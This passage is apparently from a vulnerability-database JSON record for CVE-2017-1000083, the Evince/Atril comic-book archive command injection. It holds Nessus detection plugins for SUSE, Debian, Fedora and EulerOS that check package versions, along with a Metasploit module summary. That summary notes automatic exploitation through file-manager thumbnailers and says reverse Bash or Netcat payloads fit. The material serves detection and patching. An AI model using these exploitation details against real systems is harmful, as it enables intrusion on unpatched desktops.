value:\"p-cpe:/a:novell:suse_linux:evince-plugin-pdfdocument-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:evince-plugin-psdocument\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:evince-plugin-psdocument-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:evince-plugin-tiffdocument\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:evince-plugin-tiffdocument-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:evince-plugin-xpsdocument\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:evince-plugin-xpsdocument-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:libevdocument3\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:libevdocument3-4-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:libevview3\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:libevview3-3-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:nautilus-evince\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:nautilus-evince-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:typelib-1_0-EvinceDocument\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:typelib-1_0-EvinceView\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:suse_linux:12\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2017/09/05\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2017/07/18\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2017/07/19\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2017-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"SuSE Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release !~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"SUSE\");\nos_ver = pregmatch(pattern: \"^(SLE(S|D)\\d+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"SUSE\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^(SLED12)$\", string:os_ver)) audit(AUDIT_OS_NOT, \"SUSE SLED12\", \"SUSE \" + os_ver);\n\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (cpu !~ \"^i[3-6]86$\" && \"x86_64\" >!< cpu && \"s390x\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"SUSE \" + os_ver, cpu);\nif (cpu >!< \"x86_64\") audit(AUDIT_ARCH_NOT, \"x86_64\", cpu);\n\n\nsp = get_kb_item(\"Host/SuSE/patchlevel\");\nif (isnull(sp)) sp = \"0\";\nif (os_ver == \"SLED12\" && (! preg(pattern:\"^(2)$\", string:sp))) audit(AUDIT_OS_NOT, \"SLED12 SP2\", os_ver + \" SP\" + sp);\n\n\nflag = 0;\nif (rpm_check(release:\"SLED12\", sp:\"2\", cpu:\"x86_64\", reference:\"evince-3.20.1-6.14.1\")) flag++;\nif (rpm_check(release:\"SLED12\", sp:\"2\", cpu:\"x86_64\", reference:\"evince-browser-plugin-3.20.1-6.14.1\")) flag++;\nif (rpm_check(release:\"SLED12\", sp:\"2\", cpu:\"x86_64\", reference:\"evince-browser-plugin-debuginfo-3.20.1-6.14.1\")) flag++;\nif (rpm_check(release:\"SLED12\", sp:\"2\", cpu:\"x86_64\", reference:\"evince-debuginfo-3.20.1-6.14.1\")) flag++;\nif (rpm_check(release:\"SLED12\", sp:\"2\", cpu:\"x86_64\", reference:\"evince-debugsource-3.20.1-6.14.1\")) flag++;\nif (rpm_check(release:\"SLED12\", sp:\"2\", cpu:\"x86_64\", reference:\"evince-plugin-djvudocument-3.20.1-6.14.1\")) flag++;\nif (rpm_check(release:\"SLED12\", sp:\"2\", cpu:\"x86_64\", reference:\"evince-plugin-djvudocument-debuginfo-3.20.1-6.14.1\")) flag++;\nif (rpm_check(release:\"SLED12\", sp:\"2\", cpu:\"x86_64\", reference:\"evince-plugin-dvidocument-3.20.1-6.14.1\")) flag++;\nif (rpm_check(release:\"SLED12\", sp:\"2\", cpu:\"x86_64\", reference:\"evince-plugin-dvidocument-debuginfo-3.20.1-6.14.1\")) flag++;\nif (rpm_check(release:\"SLED12\", sp:\"2\", cpu:\"x86_64\", reference:\"evince-plugin-pdfdocument-3.20.1-6.14.1\")) flag++;\nif (rpm_check(release:\"SLED12\", sp:\"2\", cpu:\"x86_64\", reference:\"evince-plugin-pdfdocument-debuginfo-3.20.1-6.14.1\")) flag++;\nif (rpm_check(release:\"SLED12\", sp:\"2\", cpu:\"x86_64\", reference:\"evince-plugin-psdocument-3.20.1-6.14.1\")) flag++;\nif (rpm_check(release:\"SLED12\", sp:\"2\", cpu:\"x86_64\", reference:\"evince-plugin-psdocument-debuginfo-3.20.1-6.14.1\")) flag++;\nif (rpm_check(release:\"SLED12\", sp:\"2\", cpu:\"x86_64\", reference:\"evince-plugin-tiffdocument-3.20.1-6.14.1\")) flag++;\nif (rpm_check(release:\"SLED12\", sp:\"2\", cpu:\"x86_64\", reference:\"evince-plugin-tiffdocument-debuginfo-3.20.1-6.14.1\")) flag++;\nif (rpm_check(release:\"SLED12\", sp:\"2\", cpu:\"x86_64\", reference:\"evince-plugin-xpsdocument-3.20.1-6.14.1\")) flag++;\nif (rpm_check(release:\"SLED12\", sp:\"2\", cpu:\"x86_64\", reference:\"evince-plugin-xpsdocument-debuginfo-3.20.1-6.14.1\")) flag++;\nif (rpm_check(release:\"SLED12\", sp:\"2\", cpu:\"x86_64\", reference:\"libevdocument3-4-3.20.1-6.14.1\")) flag++;\nif (rpm_check(release:\"SLED12\", sp:\"2\", cpu:\"x86_64\", reference:\"libevdocument3-4-debuginfo-3.20.1-6.14.1\")) flag++;\nif (rpm_check(release:\"SLED12\", sp:\"2\", cpu:\"x86_64\", reference:\"libevview3-3-3.20.1-6.14.1\")) flag++;\nif (rpm_check(release:\"SLED12\", sp:\"2\", cpu:\"x86_64\", reference:\"libevview3-3-debuginfo-3.20.1-6.14.1\")) flag++;\nif (rpm_check(release:\"SLED12\", sp:\"2\", cpu:\"x86_64\", reference:\"nautilus-evince-3.20.1-6.14.1\")) flag++;\nif (rpm_check(release:\"SLED12\", sp:\"2\", cpu:\"x86_64\", reference:\"nautilus-evince-debuginfo-3.20.1-6.14.1\")) flag++;\nif (rpm_check(release:\"SLED12\", sp:\"2\", cpu:\"x86_64\", reference:\"typelib-1_0-EvinceDocument-3_0-3.20.1-6.14.1\")) flag++;\nif (rpm_check(release:\"SLED12\", sp:\"2\", cpu:\"x86_64\", reference:\"typelib-1_0-EvinceView-3_0-3.20.1-6.14.1\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"evince\");\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-01-06T09:50:26", "description": "It was discovered that Atril, the MATE document viewer, made insecure\nuse of tar when opening tar comic book archives (CBT). Opening a\nmalicious CBT archive could result in the execution of arbitrary code.\nThis update disables the CBT format entirely.", "edition": 31, "cvss3": {"score": 7.8, "vector": "AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}, "published": "2017-07-24T00:00:00", "title": "Debian DSA-3916-1 : atril - security update", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2017-1000083"], "modified": "2017-07-24T00:00:00", "cpe": ["cpe:/o:debian:debian_linux:8.0", "p-cpe:/a:debian:debian_linux:atril", "cpe:/o:debian:debian_linux:9.0"], "id": "DEBIAN_DSA-3916.NASL", "href": "https://www.tenable.com/plugins/nessus/101910", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Debian Security Advisory DSA-3916. The text \n# itself is copyright (C) Software in the Public Interest, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(101910);\n script_version(\"3.11\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/04\");\n\n script_cve_id(\"CVE-2017-1000083\");\n script_xref(name:\"DSA\", value:\"3916\");\n\n script_name(english:\"Debian DSA-3916-1 : atril - security update\");\n script_summary(english:\"Checks dpkg output for the updated package\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Debian host is missing a security-related update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"It was discovered that Atril, the MATE document viewer, made insecure\nuse of tar when opening tar comic book archives (CBT). Opening a\nmalicious CBT archive could result in the execution of arbitrary code.\nThis update disables the CBT format entirely.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=868500\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://packages.debian.org/source/jessie/atril\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://packages.debian.org/source/stretch/atril\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.debian.org/security/2017/dsa-3916\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"Upgrade the atril packages.\n\nFor the oldstable distribution (jessie), this problem has been fixed\nin version 1.8.1+dfsg1-4+deb8u1.\n\nFor the stable distribution (stretch), this problem has been fixed in\nversion 1.16.1-2+deb9u1.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Evince CBT File Command Injection');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:atril\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:debian:debian_linux:8.0\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:debian:debian_linux:9.0\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2017/09/05\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2017/07/21\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2017/07/24\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2017-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Debian Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Debian/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"debian_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Debian/release\")) audit(AUDIT_OS_NOT, \"Debian\");\nif (!get_kb_item(\"Host/Debian/dpkg-l\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\nif (deb_check(release:\"8.0\", prefix:\"atril\", reference:\"1.8.1+dfsg1-4+deb8u1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"atril-common\", reference:\"1.8.1+dfsg1-4+deb8u1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"atril-dbg\", reference:\"1.8.1+dfsg1-4+deb8u1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"libatrildocument-dev\", reference:\"1.8.1+dfsg1-4+deb8u1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"libatrildocument3\", reference:\"1.8.1+dfsg1-4+deb8u1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"libatrildocument3-dbg\", reference:\"1.8.1+dfsg1-4+deb8u1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"libatrilview-dev\", reference:\"1.8.1+dfsg1-4+deb8u1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"libatrilview3\", reference:\"1.8.1+dfsg1-4+deb8u1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"libatrilview3-dbg\", reference:\"1.8.1+dfsg1-4+deb8u1\")) flag++;\nif (deb_check(release:\"9.0\", prefix:\"atril\", reference:\"1.16.1-2+deb9u1\")) flag++;\nif (deb_check(release:\"9.0\", prefix:\"atril-common\", reference:\"1.16.1-2+deb9u1\")) flag++;\nif (deb_check(release:\"9.0\", prefix:\"gir1.2-atril\", reference:\"1.16.1-2+deb9u1\")) flag++;\nif (deb_check(release:\"9.0\", prefix:\"libatrildocument-dev\", reference:\"1.16.1-2+deb9u1\")) flag++;\nif (deb_check(release:\"9.0\", prefix:\"libatrildocument3\", reference:\"1.16.1-2+deb9u1\")) flag++;\nif (deb_check(release:\"9.0\", prefix:\"libatrilview-dev\", reference:\"1.16.1-2+deb9u1\")) flag++;\nif (deb_check(release:\"9.0\", prefix:\"libatrilview3\", reference:\"1.16.1-2+deb9u1\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:deb_report_get());\n else security_warning(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-01-07T10:14:00", "description": " - CVE-2017-1000083: Evince command injection vulnerability\n in CBT handler (#1468488)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.", "edition": 21, "cvss3": {"score": 7.8, "vector": "AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}, "published": "2017-07-18T00:00:00", "title": "Fedora 25 : evince (2017-cdead07e99)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2017-1000083"], "modified": "2017-07-18T00:00:00", "cpe": ["cpe:/o:fedoraproject:fedora:25", "p-cpe:/a:fedoraproject:fedora:evince"], "id": "FEDORA_2017-CDEAD07E99.NASL", "href": "https://www.tenable.com/plugins/nessus/101780", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory FEDORA-2017-cdead07e99.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(101780);\n script_version(\"3.8\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/06\");\n\n script_cve_id(\"CVE-2017-1000083\");\n script_xref(name:\"FEDORA\", value:\"2017-cdead07e99\");\n\n script_name(english:\"Fedora 25 : evince (2017-cdead07e99)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\" - CVE-2017-1000083: Evince command injection vulnerability\n in CBT handler (#1468488)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bodhi.fedoraproject.org/updates/FEDORA-2017-cdead07e99\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected evince package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Evince CBT File Command Injection');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:evince\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:25\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2017/09/05\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2017/07/15\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2017/07/18\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2017-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = pregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^25([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 25\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"FC25\", reference:\"evince-3.22.1-5.fc25\")) flag++;\n\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"evince\");\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-01-07T08:52:35", "description": "According to the version of the evince packages installed, the\nEulerOS installation on the remote host is affected by the following\nvulnerability :\n\n - It was found that evince did not properly sanitize the\n command line which is run to untar Comic Book Tar (CBT)\n files, thereby allowing command injection. A specially\n crafted CBT file, when opened by evince or\n evince-thumbnailer, could execute arbitrary commands in\n the context of the evince program. (CVE-2017-1000083)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.", "edition": 25, "cvss3": {"score": 7.8, "vector": "AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}, "published": "2017-09-11T00:00:00", "title": "EulerOS 2.0 SP2 : evince (EulerOS-SA-2017-1222)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2017-1000083"], "modified": "2017-09-11T00:00:00", "cpe": ["p-cpe:/a:huawei:euleros:evince-libs", "p-cpe:/a:huawei:euleros:evince-dvi", "p-cpe:/a:huawei:euleros:evince-nautilus", "p-cpe:/a:huawei:euleros:evince", "cpe:/o:huawei:euleros:2.0"], "id": "EULEROS_SA-2017-1222.NASL", "href": "https://www.tenable.com/plugins/nessus/103080", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(103080);\n script_version(\"3.15\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/06\");\n\n script_cve_id(\n \"CVE-2017-1000083\"\n );\n\n script_name(english:\"EulerOS 2.0 SP2 : evince (EulerOS-SA-2017-1222)\");\n script_summary(english:\"Checks the rpm output for the updated package.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote EulerOS host is missing a security update.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to the version of the evince packages installed, the\nEulerOS installation on the remote host is affected by the following\nvulnerability :\n\n - It was found that evince did not properly sanitize the\n command line which is run to untar Comic Book Tar (CBT)\n files, thereby allowing command injection. A specially\n crafted CBT file, when opened by evince or\n evince-thumbnailer, could execute arbitrary commands in\n the context of the evince program. (CVE-2017-1000083)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\");\n # https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2017-1222\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?ee00290d\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected evince package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Evince CBT File Command Injection');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2017/08/30\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2017/09/11\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:evince\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:evince-dvi\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:evince-libs\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:evince-nautilus\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:huawei:euleros:2.0\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Huawei Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2017-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/EulerOS/release\", \"Host/EulerOS/rpm-list\", \"Host/EulerOS/sp\");\n script_exclude_keys(\"Host/EulerOS/uvp_version\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/EulerOS/release\");\nif (isnull(release) || release !~ \"^EulerOS\") audit(AUDIT_OS_NOT, \"EulerOS\");\nif (release !~ \"^EulerOS release 2\\.0(\\D|$)\") audit(AUDIT_OS_NOT, \"EulerOS 2.0\");\n\nsp = get_kb_item(\"Host/EulerOS/sp\");\nif (isnull(sp) || sp !~ \"^(2)$\") audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP2\");\n\nuvp = get_kb_item(\"Host/EulerOS/uvp_version\");\nif (!empty_or_null(uvp)) audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP2\", \"EulerOS UVP \" + uvp);\n\nif (!get_kb_item(\"Host/EulerOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"aarch64\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"EulerOS\", cpu);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_ARCH_NOT, \"i686 / x86_64\", cpu);\n\nflag = 0;\n\npkgs = [\"evince-3.14.2-5.h1\",\n \"evince-dvi-3.14.2-5.h1\",\n \"evince-libs-3.14.2-5.h1\",\n \"evince-nautilus-3.14.2-5.h1\"];\n\nforeach (pkg in pkgs)\n if (rpm_check(release:\"EulerOS-2.0\", sp:\"2\", reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"evince\");\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "metasploit": [{"lastseen": "2020-10-15T10:23:34", "description": "This module exploits a command injection vulnerability in Evince before version 3.24.1 when opening comic book `.cbt` files. Some file manager software, such as Nautilus and Atril, may allow automatic exploitation without user interaction due to thumbnailer preview functionality. Note that limited space is available for the payload (<256 bytes). Reverse Bash and Reverse Netcat payloads should be sufficiently small. This module has been tested successfully on evince versions: 3.4.0-3.1 + nautilus 3.4.2-1+build1 on Kali 1.0.6; 3.18.2-1ubuntu4.3 + atril 1.12.2-1ubuntu0.3 on Ubuntu 16.04.\n", "published": "2019-02-03T05:38:56", "type": "metasploit", "title": "Evince CBT File Command Injection", "bulletinFamily": "exploit", "cvelist": ["CVE-2017-1000083"], "modified": "2019-02-03T06:18:31", "id": "MSF:EXPLOIT/MULTI/FILEFORMAT/EVINCE_CBT_CMD_INJECTION", "href": "", "sourceData": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/fileformat/evince_cbt_cmd_injection.rb"}]}